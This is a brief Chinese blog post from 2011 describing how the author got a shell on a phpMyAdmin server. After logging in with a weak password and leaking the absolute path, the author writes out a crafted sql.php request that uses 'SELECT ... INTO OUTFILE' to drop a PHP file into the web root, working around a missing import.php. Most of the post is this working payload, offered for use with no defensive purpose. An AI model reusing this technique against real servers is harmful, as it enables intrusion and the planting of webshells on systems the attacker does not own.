phpmyadmin另类拿shell

发现了个PHPMYADMIN 结果弱口令登陆进去 爆出绝对路径 然后执行SQL语句发现导出SHELL的时候却发现缺少了import.php这个文件 结果没办法执行MYSQL语句! 然后本地测试了下 发现另外的方法

==========================================

phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile%20'E:\\test1.php';&display_text=F&token=dc49fb24f86a6dc2b996b5d4211cccb4

==========================================

posted on 2011-04-25 12:55  =_=!  阅读(198)  评论(0编辑  收藏  举报

导航